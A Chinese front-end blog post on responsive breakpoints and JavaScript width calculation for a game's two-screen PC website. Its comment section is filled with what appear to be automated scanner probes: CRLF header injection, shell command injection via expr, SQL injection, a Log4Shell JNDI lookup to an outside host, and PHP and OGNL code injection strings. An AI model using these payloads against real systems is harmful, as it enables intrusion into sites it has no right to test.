做有态度的前端团队

网易FEG前端团队

再聊PC页面适配

今年3月份写过一篇《聊聊PC端页面适配》文章,里面主要谈到一些对pc端页面做适配的看法以及方法(百分比和js检测)。最近在做劲舞团的官网,再次遇到了适配这个点,而且把适配要求提得更高点。所以这次咱们再来聊聊~

适配考虑的方法主要还是之前文章说的两种,那么劲舞团官网遇到的适配新挑战是什么呢?

1、需要适配的尺寸有明显的区间区分
2、不一样的布局和交互:横向双屏布局以及横向滚动切屏交互

先来个整体的布局示图:
劲舞团公测官网2.jpg

适配区间分析

因为页面是分两屏的设计,这里的适配区间需要考虑两层:第一层是浏览器可视区域的大小变化下,页面左右两屏的宽度适配;第二层是当左右屏宽度发生变化后,左右两屏里面的展示内容需要适配。

第一层的适配

适配需求:左侧宽度最小值470,最大值880。右侧宽度(包括导航)最小值770,最大值1040。即整个页面的最小宽度为1240,最大宽度为1920。

  • 左侧:
    470~590:首屏不显示slogn,只显示视频按钮;滚动切换到左侧的屏不显示内容模块,只居中显示人物角色;
    591~830:首屏完整显示(slogn+视频按钮);滚动切换到左侧的屏显示内容模块,不显示人物角色;
    831~880:首屏完整显示(slogn+视频按钮;滚动切换到左侧的屏完整显示(内容模块+人物角色);

  • 右侧(不需要考虑首屏,因为首屏永远只在左边):
    770~930:只显示内容模块,不显示人物角色;
    931~1040:完整显示(内容模块+人物角色);

第二层的适配

下面的各种情况最好能附上效果图的,但是情况实在太多了,效果只能移步官网通过缩放浏览器到不同的宽度区间去体验了

1、当宽度小于等于1240时

这种情况是屏幕适配最小的尺寸,只需要把屏幕左右两半的宽度定死为470:770的尺寸分布即可,总体效果是左小右大,可以在右边显示核心信息,当右边屏切换到左边时,这时就要体现适配的特点,把核心信息隐藏(因为左边小,显示核心信息放不下)只显示人物图,这样看起来就不会空白难看。

2、当宽度区间为1240-1399时

适配要求:左侧宽度浮动,右侧固定770。
左侧浮动意味着,左侧浮动的宽度区间是470~629。再结合第一层适配的分析,得出这个区间下左侧的适配要求如下:
470~590:首屏不显示slogn,只显示视频按钮;滚动切换到左侧的屏不显示内容模块,只居中显示人物角色;
591~629:首屏完整显示(slogn+视频按钮);滚动切换到左侧的屏显示内容模块,不显示人物角色;

3、当宽度区间为1440-1659时

适配要求:左侧最小宽度510,往上浮动,右侧最小宽度为930,往上浮动。
这里面有个问题,两边都是往上浮动,那么当宽度是1659时,两边的最大宽度怎么计算?因为左边的变化区间范围是510~880,而右边范围只有930~1040,右边范围明显小,所以以右边来做参照,推算出左边的往上浮动的最大值:1659-1040=619。确定了左边的范围,再通过619/1659来计算两边的比例(大概0.37),比例剩以当前的屏幕的宽度就得到左边的宽度,然后屏幕的宽度再减去左边的,就得到右边的宽度。

再结合第一层适配的分析,得出这个区间下左、右侧的适配要求如下:

  • 左侧:
    510~590:首屏不显示slogn,只显示视频按钮;滚动切换到左侧的屏不显示内容模块,只居中显示人物角色;
    591~619:首屏完整显示(slogn+视频按钮);滚动切换到左侧的屏显示内容模块,不显示人物角色;

  • 右侧:
    931~1040:完整显示(内容模块+人物角色);

4、当宽度区间为1660-1920时

适配要求:左侧宽度浮动,右侧固定1040
这种情况和第二种区间类似,只需要关心左边的变化区间即可620~880

  • 左侧:
    620~830:首屏完整显示(slogn+视频按钮);滚动切换到左侧的屏显示内容模块,不显示人物角色;
    831~880:首屏完整显示(slogn+视频按钮;滚动切换到左侧的屏完整显示(内容模块+人物角色);

布局和交互的分析

其实从上面区间分析已经可以看到需要加入布局和交互的影响因素考虑了,在任意宽度下,右边的屏可能切换到左边,左边的屏也有可能会切换到右边,所以除了首、尾两屏屏,其它屏在考虑适配时,需要考虑这个交互带来的显示区域变化而引起适配的需求。

具体实现

通过上面分析,以及之前那篇文章提到的两个方法,这里只能通过js计算来实现,js计算只做两件事情:第一,拿到屏幕的可视尺寸,然后计算各种区间情况下,设置左右两屏的宽度;第二:根据各个区间下显示的内容再划分新的内容区间,添加全局样式来控制各部分内容的显示和隐藏。

  • 实现第一件事的部分代码:
var _left_width = 0,
    _right_width = 0,
    win_height = $win.height(),
    win_width = $win.width(),
    win_width = win_width > 1240 ? win_width : 1240,
    win_width = win_width > 1920 ? 1920 : win_width,
    ratio;
   switch(true){
       case win_width < 1241 :
       _left_width = 470;
       _right_width = 770;
       break;
       case win_width < 1439 :
       _right_width = 770;
       _left_width = win_width - _right_width;
       break;
       case win_width < 1659 :
       ratio = 0.37;
       _left_width = parseInt(win_width*ratio);
       _right_width = win_width - _left_width;
       break;
       default:
       _right_width = 1040;
       _left_width = win_width - _right_width;
       break;
   }
  • 实现第二件事的部分代码(具体的区间分析和上面的分析基本一样,这里就不详说了,就是有点烦~):
switch(true){
    case win_width < 1360 :
    $wrap[0].className = 'wrap wrap1360';
    break;
    case win_width < 1439 :
    $wrap[0].className = 'wrap wrap1400';
    break;
    case win_width < 1659 :
    $wrap[0].className = 'wrap wrap1660';
    break;
    case win_width < 1879 :
    $wrap[0].className = 'wrap wrap1880';
    break;
    default:
    $wrap[0].className = 'wrap';
    break;
}

最后

上面宽度的考虑已经算结束了,这里顺带说一下高度,这个页面的高度适配要求比较低点,就以850为最小高度,超出就出现竖向滚动条,如果高度也要和上面那样整,那就头疼了。
本文没有说带来适配的什么新方法,而是基于这种布局和交互下,可以说需要自己把适配需求转换成一套代码执行的适配方案,重点和难点还是在计算缕清这一块,至于代码还是常规的。

手机阅读请扫描下方二维码:

已有 168 条评论

  1. 0KeeTeam

    0KeeTeam

  2. 0KeeTeam

    0KeeTeam

  3. 0KeeTeam

    0KeeTeam

    1. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    2. admin

      byfgfjvmdokxoobsuone

    3. byfgfjvmdokxoobsuone

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    4. admin%0d%0aCRLF-Header:CRLF-Value

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    5. 12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    6. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    7. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    8. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    9. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    10. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    11. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  4. 0KeeTeam

    0KeeTeam

  5. fpieyuosaijpaabrfoxv

    0KeeTeam

  6. 0KeeTeam

    0KeeTeam
    CRLF-Header:CRLF-Value

  7. 0KeeTeam

    0KeeTeam%0d%0aCRLF-Header:CRLF-Value

  8. 0KeeTeam

  9. 0KeeTeam

    0KeeTeam

  10. 0KeeTeam

    0KeeTeam

  11. 0KeeTeam

    0KeeTeam

  12. 0KeeTeam

    0KeeTeam
    CRLF-Header:CRLF-Value

  13. mjzuduqlhukfwufeswot

    0KeeTeam

  14. 0KeeTeam

    0KeeTeam

  15. 0KeeTeam

    0KeeTeam

  16. 0KeeTeam

    0KeeTeam

  17. 0KeeTeam

    0KeeTeam

  18. 0KeeTeam|expr 904654814 + 914476889

    0KeeTeam

  19. 0KeeTeam

    0KeeTeam
    expr 923901253 + 867327922

  20. 0KeeTeam

    0KeeTeam|expr 856253110 + 935140099

  21. 0KeeTeam

    0KeeTeam$(expr 908716163 + 875447074)

  22. 0KeeTeam

    0KeeTeam

  23. 0KeeTeam

    0KeeTeam

  24. 0KeeTeam

    0KeeTeam'and/**/extractvalue(1,concat(char(126),md5(1936537659)))and'

  25. 0KeeTeam

    0KeeTeam

  26. 0KeeTeam

    0KeeTeam

  27. 0KeeTeam|expr 906869313 + 962485939

    0KeeTeam

  28. 0KeeTeam%0d%0aCRLF-Header:CRLF-Value

    0KeeTeam

  29. Crawlergo

    Crawlergo

  30. Crawlergo

    Crawlergo

  31. Crawlergo

    Crawlergo

  32. Crawlergo

    Crawlergo

  33. Crawlergo

    Crawlergo

  34. Crawlergo

    Crawlergo

  35. gdgqhmzchkiehdedpaqy

    Crawlergo

  36. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  37. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  38. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  39. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  40. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  41. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  42. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  43. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  44. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  45. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  46. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  47. Crawlergo

    Crawlergo

  48. Crawlergo

    Crawlergo

  49. Crawlergo

    Crawlergo
    expr 860226762 + 976864189

  50. Crawlergo

    Crawlergo

  51. admin

    admin

  52. admin

    admin

  53. admin

    admin

  54. admin

    admin

  55. admin

    admin

  56. admin

    admin

  57. admin

    admin

  58. admin

    admin

  59. admin

    admin
    CRLF-Header:CRLF-Value

  60. admin

    admin

  61. admin

    admin

  62. admin

    admin%0d%0aCRLF-Header:CRLF-Value

  63. admin

    admin

  64. admin

    admin\r\nCRLF-Header:CRLF-Value

  65. admin

    admin

  66. admin

    admin

  67. admin

    admin

  68. admin%0d%0aCRLF-Header:CRLF-Value

    admin

  69. admin

    admin
    expr 993785739 + 831869866

  70. admin

    jyzdbolfmzioiannmjpr

  71. admin

    admin

  72. admin

    admin|expr 978748234 + 855754680

  73. ${jndi:ldap://kjmnveuzbdxayfpq.author.feg.netease.com.None.log.3l8.pw/a}

    admin

  74. test

    test

  75. test

    test

  76. test

    test

  77. test

    test

  78. test

    nntcfekvdtxzlirmlijg

  79. test

    test

  80. test|expr 936469921 + 869520196

    test

  81. test%0d%0aCRLF-Header:CRLF-Value

    test

  82. test

    test

  83. test

    test

  84. test

    test

  85. test

    test

  86. test

    test

  87. test

    test

  88. test

    test

  89. test

  90. test

    test

  91. test

  92. test

    test

  93. test

    test

  94. test

    test

  95. test

    test

  96. test

    test

  97. test

    test

  98. test

    test

  99. test

  100. test

    ${@var_dump(md5(329124096))};

  101. test

    test

  102. test

    test

  103. test

    test

  104. test

    test

  105. test

    test
    expr 848316420 + 952787310

  106. %{40858*40046}

    test

  107. test

    test

  108. test

    test

  109. test

    test

  110. test

    test

  111. test

    test

  112. test

    test

  113. test

    test

  114. test

    test

  115. test

    test

  116. test

    test

  117. test

    test

  118. test

    test

  119. test

    test

  120. test

    test

  121. test

    test

  122. test

    test

  123. test

    test

  124. test

    test

  125. test

    test

  126. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  127. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  128. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  129. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  130. 1

    1

  131. 1

    1

  132. 1

    1

  133. 1

    1

  134. 1

    1

  135. 1

    1

  136. 1

    1

  137. test

    test

  138. Crawlergo

    Crawlergo

  139. Crawlergo

    Crawlergo

  140. yusdvrsxfyreuzeygkph

    Crawlergo

  141. Crawlergo

  142. Crawlergo

    yusdvrsxfyreuzeygkph

  143. Crawlergo

    Crawlergo

  144. Crawlergo

    Crawlergo

  145. 1

    1

  146. 1

    1

  147. 1

    1

  148. 1

    1

  149. 1

    1

  150. 1

    1

添加新评论

ali-40.gifali-41.gifali-42.gifali-43.gifali-44.gifali-45.gifali-46.gifali-47.gifali-48.gifali-49.gifali-50.gifali-51.gifali-52.gifali-53.gifali-54.gifali-55.gifali-56.gifali-57.gifali-58.gifali-59.gifali-60.gifali-61.gif